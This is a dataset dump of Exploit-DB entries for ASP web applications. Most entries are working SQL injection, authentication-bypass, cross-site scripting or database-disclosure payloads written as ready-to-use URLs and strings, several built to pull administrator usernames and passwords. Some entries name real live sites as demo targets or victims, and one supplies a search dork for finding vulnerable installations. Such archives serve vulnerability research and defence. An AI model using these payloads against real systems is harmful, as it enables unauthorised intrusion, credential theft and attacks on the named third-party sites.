deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5185
Description: PORAR WebBoard - 'question.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-02-25
Author: xcorpitx

Exploit:
  ##     ##     
   ##   ##      
    ## ##
     ###CoRPITX 
     ###     
    ## ##
   ##   ##
  ##     ##

########################### Turkey ####################################
#                                                                     #
#################### www.Hayalet-hack.com #############################
#
##################### www.zone-turk.net/###############################
#             
#            PORAR WEBBOARD SQL Injection Vulnerability 
#
#######################################################################
#  
#  AUTHOR : xcorpitx
#
#  HOME   : www.Hayalet-hack.com / www.zone-turk.net
#
#  email  : xcorpitx@hotmail.com
#
########################################################################
#  This (SQL) give  Admin name and Admin password 
#  Bu sorgu direk admin ismi ve  sisresini verecektir
########################################################################
#
#  DorK   : '' webboard question.asp QID''
#
########################################################################
#            
#  EXPLOIT: 
#
########################################################################
# example 1  : columns number 10
#
question.asp?QID=[PII_REDACTED]%20+%20union%20+%20select%20+%200,null,2,username,password,5,password,7,8,9,null%20+%20from%20+%20+%20administrator%20';';
#########################################################################
# some tÃ½mes thÃ½s sql
# example 2 : columns number 11
#
question.asp?QID=-1%20+%20union%20+%20select%20+%200,1,2,username,4,5,password,7,8,9,10,11%20+%20from%20+%20+%20administrator%20';';
#########################################################################
# admin login
#
http://www.xxx.com/webboard/admin/login.asp
#
########################################################################

Thanx : str0ke,D3ng3s!z,Pc faresi,Hayalet,Turque,SmoKin,Apex,Mostbiq

have nice day and hack 

i m sory jane  :( 


Kankilerim   D3ng3s!z ve Pc faresi ne sevgiler  el sallayin :S

# milw0rm.com [2008-02-25]
Exploit-DB #26926
Description: PortalApp 3.3/4.0 - 'login.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16008/info

PortalApp is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

PortalApp 4.0 and prior are vulnerable. 

http://www.example.com/login.asp?ret_page=[XSS]
Exploit-DB #33647
Description: Portrait Software Portrait Campaign Manager 4.6.1.22 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-02-16
Author: Roel Schouten

Exploit:
source: https://www.securityfocus.com/bid/38252/info

Portrait Campaign Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Portrait Campaign Manager 4.6.1.22 is vulnerable; other versions prior to 4.6 SP3 may also be affected. 


http://www.example.com/MHCwa/DefaultAn.aspx?LayoutID=<script>alert(&#039;XSS&#039;)</script>
Exploit-DB #5556
Description: PostcardMentor - 'cat_fldAuto' SQL Injection
Type: webapps
Platform: asp
Date: 2008-05-07
Author: InjEctOr5

Exploit:
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title :: Multiple SQL Injections [Remote + Blind]
 
Author :: InjEctOrs

Found By : Bl@ckbe@rD [blackbeard-sql (at) hotmail (dot) fr ]
 
Application :: PostcardMentor latest version
 
Download :: http://www.aspcode.net/Download-latest-version-4.aspx
 
Dork 1 ::  :p
 
Greets :: Allah , King Of hacker , InjEctOr5 TeaM ,TrYaG TeaM & Muslims Hackers

Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal 
acts.

--------------------------------------------[C o n t e x t]-----------------------------------------
 
Vulnerability: 
http://localhost/PostcardMentor/step1.asp?cat_fldAuto={SQL}

{SQL} --> MS SQL Server for example : convert(int,(select+@@version))
 
{SQL} --> MS ACCESS for example : 1 IIF((select%20mid(last(name),1,1)%20from%20(select%20top%2010%20name%20from%20cat))='a',0,'done')
 


-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-07]
Exploit-DB #7398
Description: postecards - SQL Injection / File Disclosure
Type: webapps
Platform: asp
Date: 2008-12-09
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : PostEcards
#download : http://www.funscripts.net/old_coldfusion/download.php?fname=postcards

###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.target.com/sendcard.cfm?cid=0+union+SELECT%20null,null,username,null%20FROM%20USERS%00
http://www.target.com/sendcard.cfm?cid=0+union+SELECT%20null,null,pwd,null%20FROM%20USERS%00


--=[DATABASE DISCLOSURE]=--
http://www.target.com/database/postcards.mdb



#Live Demo
http://www.melink.com/PostCards/database/postcards.mdb
http://www.melink.com/PostCards/sendcard.cfm?cid=0+union+SELECT%20null,null,username,null%20FROM%20USERS%00

#Greetz For

###########################################################################

# milw0rm.com [2008-12-09]
Exploit-DB #23035
Description: Poster 2.0 - Unauthorized Privileged User Access
Type: webapps
Platform: asp
Date: 2003-08-15
Author: DarkKnight

Exploit:
source: https://www.securityfocus.com/bid/8426/info

A vulnerability has been reported for Poster.version:two. The problem occurs due to the application failing to lock the 'setup' variable after initialization. As a result, an attacker may access this variable to add additional adminstrator users to the forum. This may effectively allow for the theft or modification of sensitive information. 

http://www.example.com/poster/?go=setup_submit&un=DarkKnight&pw=123456&em=EMAIL&submit=submit
Exploit-DB #7981
Description: Power System Of Article Management 3.0 - File Disclosure / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-02-04
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Power System Of Article Management
Version : 3.0
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD/XSS)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/database/yiuwekdsodksldfslwifds.mdb
Hash Decoder :
http://pouya2006.persiangig.com/dec/PSOAMv3.html
or Google searching ...
 
[XSS]:
http://site.com/[Path]/userchklogin.asp?UserName=Pouya&[CREDENTIAL_REDACTED]=0&ComeUrl=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&Submit=%C8%B7%C8%CF

http://site.com/[Path]/userlogin.asp?ComeUrl=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>
---------------------------------
Victem :
http://www.honeyjenny.com/art
http://www.hzyzzz.com
http://cdzy.cn/wyx/article
http://unix-cd.com/article
http://zhuyaren.com
http://www.ahss.gov.cn
---------------------------------------------------------
#########################################################

# milw0rm.com [2009-02-04]
Exploit-DB #37676
Description: Power-eCommerce - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2012-08-25
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/55216/info

Power-eCommerce is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com//Questions.asp?id="><script>alert(0);</script>

http://www.example.com/search.asp?7="><script>alert(0);</script>&Search=Search
Exploit-DB #32630
Description: Pre ASP Job Board - 'emp_login.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-12-01
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32572/info

Pre ASP Job Board is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

All versions are considered vulnerable. 

http://www.example.com/[Path]/Employee/emp_login.asp?msg=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%281369%29%3B%22%3E
Exploit-DB #11589
Description: Pre Classified Listings - SQL Injection
Type: webapps
Platform: asp
Date: 2010-02-27
Author: Crux

Exploit:
=================================================================
[~] Pre Classified Listings Remote SQL Injection Vulnerability
=================================================================

##########################################################
## Author: Crux
## Homepage: http://hack-tech.com
## Date: 2-27-2010
## Software Link: http://www.preprojects.com/businesslisting.asp
## Version: N/A
##########################################################

[ SQLi ]
---------------------------------
// This vulnerability affects signup.asp
// Can be exploited VIA the POST variable 'email'

[#] Exploit / POC:
full_name=[PII_REDACTED]email@address.tst&email=${SQLINJECTIONHERE}&pass=test&ad
dress=3137%20Laguna%20Street&phone=[PII_REDACTED]&state=0&hide_email=on&url_add=[PII_REDACTED]email@address.tst&Submit=SignUp&addit=start
=================================================================
Exploit-DB #32609
Description: Pre Classified Listings 1.0 - 'detailad.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-01
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32566/info

Pre Classified Listings is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

All versions are considered vulnerable. 

http://www.example.com/[Path]/home/detailad.asp?siteid=[SQL]
Exploit-DB #32610
Description: Pre Classified Listings 1.0 - 'signup.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-12-01
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32567/info

Pre Classified Listings is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

All versions are considered vulnerable. 

http://www.example.com/[Path]/home/signup.asp?full_name=pouya.s3rver@gmail.com&email=[PII_REDACTED]email@address.tst&pass=[PII_REDACTED]email@address.tst&address=&lt;/textarea&gt;<ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&phone=[PII_REDACTED]email@address.com&state=0&hide_email=on&url_add=[PII_REDACTED]email@address.tst&Submit=SignUp&addit=start
Exploit-DB #33720
Description: Pre E-Learning Portal - 'search_result.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2010-03-08
Author: NoGe

Exploit:
source: https://www.securityfocus.com/bid/38582/info

Pre E-Learning Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/elearning/search_result.asp?courses=1&course_ID=[SQL]
Exploit-DB #31058
Description: Pre Hotel and Resorts - 'user_login.asp' Multiple SQL Injection Vulnerabilities
Type: webapps
Platform: asp
Date: 2008-01-25
Author: milad_sa2007

Exploit:
source: https://www.securityfocus.com/bid/27450/info

Pre Hotel and Resorts is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

Passing the following will bypass the authentication process:

' or '
Exploit-DB #10502
Description: Pre Hotels&Resorts Management System - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-12-16
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
[~] Vendor: www.preproject.com
[*] Software:PRE HOTELS & RESORTS MANAGEMENT SYSTEM
[*] author: ((R3d-D3v!L))
[*] Date: 17.dec.2009
[*] T!ME: 3:03 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????



[*] Exploit:

[?] E-/\/\A!L : x' or ' 1=1

[?] password : x' or ' 1=1

http://server/[path]/admin_login.asp

N073:

REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ??L ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};
Exploit-DB #10525
Description: Pre Jobo .NET - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-12-17
Author: bi0

Exploit:
# Title: Pre Jobo .NET SQL Bypass Vulnerability
# Date: 17/12/2009
# Author: bi0
# Software Link: http://www.preprojects.com/jobo.asp
# CVE : ()


                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 [PII_REDACTED] 01001111

[#]----------------------------------------------------------------[#]
#
# [+] Pre Jobo .NET SQL Bypass Vulnerability
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Thanks: sp1r1t,packetdeath,Zer0flag,redking and all my friends
# [x] Irc : irc.freenode.net / #security-shell
# [*] Note : R.I.P Rock4eveR,We`ll never forget you !
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
#   // Admin
#   http://[server]/[path]/manager/login
#
#   User : 1'or'1'='1
#   Pass : 1'or'1'='1
#
[#]------------------------------------------------------------------------------------------[#]

#EOF
Exploit-DB #34344
Description: Pre Jobo.NET - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2009-12-17
Author: bi0

Exploit:
source: https://www.securityfocus.com/bid/41747/info

Pre Jobo.NET is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example data is available:

User : 1'or'1'='1
Pass : 1'or'1'='1
Exploit-DB #18009
Description: Pre Studio Business Cards Designer - SQL Injection
Type: webapps
Platform: asp
Date: 2011-10-20
Author: dr_zig

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Exploit Title: Pre Studio Business Cards Designer SQL Injection Vulnerability
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Author: dr_zig
Date: 20-10-2011
Software Link: http://www.preprojects.com/card.asp
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

proof of concept:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://example.com/prestudio/page.php?id=[SQL Injection]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit-DB #32111
Description: Pre Survey Generator - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-07-22
Author: DreamTurk

Exploit:
source: https://www.securityfocus.com/bid/30349/info

Pre Survey Generator is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/poll/default.asp?catid=1+union+select+0,password+from+users
Exploit-DB #6119
Description: Pre Survey Poll - 'catid' SQL Injection
Type: webapps
Platform: asp
Date: 2008-07-22
Author: DreamTurk

Exploit:
PRE SURVEY POLL Remote Sql Injection
DreamTurk / sqL Lov3r'Z Crew Co. 2008
Downlod: http://www.preproject.com/poll.asp / Price $28.00
Demo : http://www.preproject.com/poll/default.asp
Sql :
http://localhost/patch/default.asp?catid=1+union+select+0,username+from+users
http://localhost/patch/default.asp?catid=1+union+select+0,username+from+users

Admin Panel :
http://localhost/patch/admin/default.asp
Greatz : aLL My Friend'Z and str0ke

========================================From Turkey=============================================
Demo Page ;
 http://www.preproject.com/poll/default.asp?catid=1+union+select+0,password+from+users

 http://www.preproject.com/poll/default.asp?catid=1+union+select+0,password+from+users

# milw0rm.com [2008-07-22]
Exploit-DB #1836
Description: PrideForum 1.0 - 'forum.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-27
Author: ajann

Exploit:
# Title  :   PrideForum 1.0 (forum.asp) Remote SQL Injection Vulnerability
# Author :   ajann

# Exploit Example:
http://[target]/[path]/forum.asp?H_ID=1%20union+select+0,0,ID,J_User,0,0,0,J_Pass,ID,0+from+adminlogins+where+ID=1&Name=Allm%E4nt

# milw0rm.com [2006-05-27]
Exploit-DB #32212
Description: Procentia IntelliPen 1.1.12.1520 - 'data.aspx' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2014-03-12
Author: Portcullis

Exploit:
CVE: 	CVE-2014-2043
Vendor: 	Procentia
Product: 	IntelliPen
Affected version: 	1.1.12.1520
Fixed version: 	1.1.18.1658
Reported by: 	Jerzy Kramarz
Details:

SQL injection has been found and confirmed within the software as an authenticated user. A successful attack could allow an authenticated attacker to access information such as usernames and password hashes that are stored in the database.

The following URL and parameters have been confirmed to suffer from Blind SQL injection.

http[s]://<host>/Resources/System/Templates/Data.aspx?DocID=1&field=JobID&value=1<SQL INJECTION>&JobID=1&ParentDocID=1694&InTab=1&ParentKey=JobNumber&NoStore=1&Popup=1

This vulnerability exists because ‘value’ variable is not sanitised before it is used as part of an SQL query to retrived specific job information.
Impact:

An attacker would be able to exfiltrate the database, user credentials and in certain setup access the underling operating system.
Exploit:

Exploit code is not required.
Vendor status:
07/01/2014 	Advisory created
16/01/2014 	Vendor contacted
21/02/2014 	CVE obtained
07/03/2014 	Published
Copyright:

Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
Exploit-DB #22864
Description: ProductCart 1.5/1.6/2.0 - 'Custva.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2003-07-04
Author: Bosen

Exploit:
source: https://www.securityfocus.com/bid/8103/info

ProductCart has been reported prone to an SQL injection vulnerability that may be exploited to reveal information relating to the underlying database; other attacks may also be possible.

http://www.example.com/productcart/pc/Custva.asp?redirectUrl=&Email=%27+having+1
%3D1--&_email=email&password=asd&_[CREDENTIAL_REDACTED].x=33&Submit.y=5&Submit=Submit
Exploit-DB #22865
Description: ProductCart 1.5/1.6/2.0 - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2003-07-04
Author: Bosen

Exploit:
source: https://www.securityfocus.com/bid/8105/info

ProductCart has been reported prone to an SQL injection vulnerability that may be exploited to bypass the ProductCart authentication system and access the ProductCart administration panel; other attacks may also be possible.

http://www.example.com/produccart/pdacmin/login.asp?idadmin='' or 1=1--
Exploit-DB #22866
Description: ProductCart 1.5/1.6/2.0 - 'MSG.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2003-07-05
Author: atomix

Exploit:
source: https://www.securityfocus.com/bid/8108/info

A cross-site scripting vulnerability has been reported for ProductCart. The vulnerability exists due to insufficient sanitization of some user-supplied values.

Exploitation could permit an attacker to steal cookie-based authentication credentials or launch other attacks.

http://www.website.com/ProductCart/pc/msg.asp?message=><script>alert
(document.cookie);</script>

http://www.website.com/ProductCart/pc/msg.asp?message=<iframe%20src="C:\"%
20width=400%20height=400></iframe>